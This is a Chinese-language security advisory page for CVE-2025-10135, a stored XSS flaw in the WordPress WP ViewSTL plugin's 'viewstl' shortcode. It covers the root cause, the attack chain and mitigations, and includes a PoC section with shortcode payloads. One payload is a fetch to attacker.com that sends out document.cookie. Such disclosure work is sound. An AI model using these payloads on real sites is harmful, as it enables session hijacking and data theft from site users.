IPBUF安全漏洞报告
English
CVE-2025-10135 CVSS 6.4 中危

CVE-2025-10135 WordPress WP ViewSTL插件存储型XSS漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10135
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP ViewSTL 插件

相关标签

XSS存储型XSS跨站脚本WordPressWP ViewSTL短代码漏洞CVE-2025-10135中危漏洞Web应用安全内容管理系统

漏洞概述

CVE-2025-10135是WordPress WP ViewSTL插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该插件用于在WordPress网站中嵌入和展示STL(3D模型)文件。漏洞存在于插件的`viewstl`短代码(shortcode)处理逻辑中,影响该插件所有1.0及以下版本。

由于插件在处理用户通过短代码属性传入的内容时,缺乏充分的输入净化(input sanitization)和输出转义(output escaping)机制,攻击者可以在短代码属性中注入恶意的JavaScript代码。这些恶意代码会被持久化存储到WordPress数据库中,当其他用户访问包含该短代码的页面时,恶意脚本将在受害者浏览器中自动执行。

该漏洞由WordPress安全团队Wordfence发现并报告,CVSS 3.1评分为6.4分,属于中危级别。攻击者需要拥有Contributor(投稿者)及以上权限才能利用此漏洞,但由于存储型XSS的危害特性,一旦恶意脚本被注入,所有访问受影响页面的用户(包括管理员)都可能受到攻击,可能导致会话劫持、权限提升、恶意重定向、数据窃取等严重后果。

技术细节

WP ViewSTL插件通过注册一个名为`viewstl`的WordPress短代码来实现在文章和页面中嵌入3D模型查看器的功能。短代码允许用户通过属性参数来自定义查看器的行为和外观。

漏洞的根本原因在于:
1. **输入净化不足**:插件在处理短代码属性时,未对用户输入进行严格的过滤和验证。WordPress虽然提供了一些内置的转义函数(如`esc_attr()`、`esc_html()`等),但插件开发者未正确使用这些函数来处理所有用户可控的输入。
2. **输出转义缺失**:当短代码的输出被渲染到页面时,插件未对属性值进行适当的HTML实体编码,导致恶意JavaScript代码可以直接注入到页面HTML中。

利用方式:
1. 攻击者以Contributor(投稿者)身份登录WordPress后台
2. 创建新文章或页面,在内容中插入`[viewstl]`短代码
3. 在短代码的属性参数中注入恶意JavaScript代码,例如使用`onerror`、`onload`等事件处理器或`<script>`标签
4. 提交文章等待审核或直接发布(取决于站点配置)
5. 当其他用户(尤其是管理员)访问该页面时,恶意脚本在其浏览器中执行
6. 攻击者可窃取用户会话cookie、进行权限提升或执行其他恶意操作

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过注册账号或利用已有凭证,获取目标WordPress站点的Contributor(投稿者)及以上权限。
STEP 2
步骤2:注入恶意短代码
攻击者创建新文章或页面,在内容编辑器中插入包含恶意JavaScript代码的`[viewstl]`短代码,利用插件对属性参数处理不当的缺陷。
STEP 3
步骤3:持久化存储
恶意内容随文章提交被存储到WordPress数据库中。由于是存储型XSS,恶意代码将长期存在于系统中。
STEP 4
步骤4:触发执行
当其他用户(特别是管理员、编辑或其他具有较高权限的用户)访问包含恶意短代码的页面时,注入的JavaScript代码将在其浏览器中自动执行。
STEP 5
步骤5:执行恶意操作
恶意脚本可窃取用户会话cookie、进行权限提升(如创建管理员账号)、植入后门、窃取敏感数据或将用户重定向到恶意网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-10135 PoC: Stored XSS via WP ViewSTL shortcode --> <!-- Attackers with contributor-level access can inject the following shortcode into a post or page --> [viewstl model="test.stl" onerror="alert('XSS-Vulnerability:'+document.cookie)" width="500" height="500"] <!-- Alternative payloads that bypass basic filters --> <!-- Payload 1: Using event handlers in attributes --> [viewstl src="x" onmouseover="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- Payload 2: Using javascript: URI scheme in URL attributes --> [viewstl model="javascript:alert(document.domain)" width="100" height="100"] <!-- Payload 3: Using HTML injection via shortcode attributes --> [viewstl title='"><script>alert("Stored-XSS-CVE-2025-10135")</script>'] <!-- Once submitted and published, when any user visits the page containing this shortcode, the malicious JavaScript will execute in their browser context. -->

影响范围

WP ViewSTL <= 1.0

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1)暂时禁用WP ViewSTL插件;2)限制投稿者(Contributor)角色的权限,禁止其直接发布内容;3)加强文章审核流程,所有投稿者提交的文章必须由编辑或管理员审核后方可发布;4)部署Wordfence等安全插件,启用XSS防护规则;5)在网站层面配置Content-Security-Policy头部,限制内联脚本执行;6)定期检查已发布的内容,搜索并清理可疑的`[viewstl]`短代码及其中包含的恶意脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表